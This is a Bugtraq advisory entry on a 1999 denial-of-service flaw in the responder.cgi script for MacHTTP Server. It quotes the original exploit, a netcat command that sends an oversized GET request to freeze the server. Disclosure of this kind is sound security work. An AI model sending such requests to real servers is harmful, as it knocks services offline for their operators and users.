John O'Fallon 'responder.cgi' DoS Vulnerability

Bugtraq ID:	3155
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 09 1999 12:00AM
Updated:	Apr 09 1999 12:00AM
Credit:	This vulnerability was discovered by Epic <[email protected]> and published in an mSec advisory on April 9th, 1999.
Vulnerable:	John O'Fallon Responder.cgi 1.0 - MacHTTP.org MacHTTP Server 2.3
Not Vulnerable:

John O'Fallon 'responder.cgi' DoS Vulnerability

'responder.cgi' is a free CGI shell script, written in C, for MacHTTP Server and other MacOS webserver products.

It is possible to cause a denial of service to MacHTTP webserver due to improper bounds checking in the script 'responder.cgi'. HTTP GET requests with an excessive number of characters will cause the server to freeze.

The webserver will need to be restarted to regain normal functionality.

John O'Fallon 'responder.cgi' DoS Vulnerability

This exploit example provided in the mSec advisory:
(nc is netcat from avian.org)
$ echo "GET
/cgi-bin/responder.cgi?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" | nc
machttp-server.com 80

John O'Fallon 'responder.cgi' DoS Vulnerability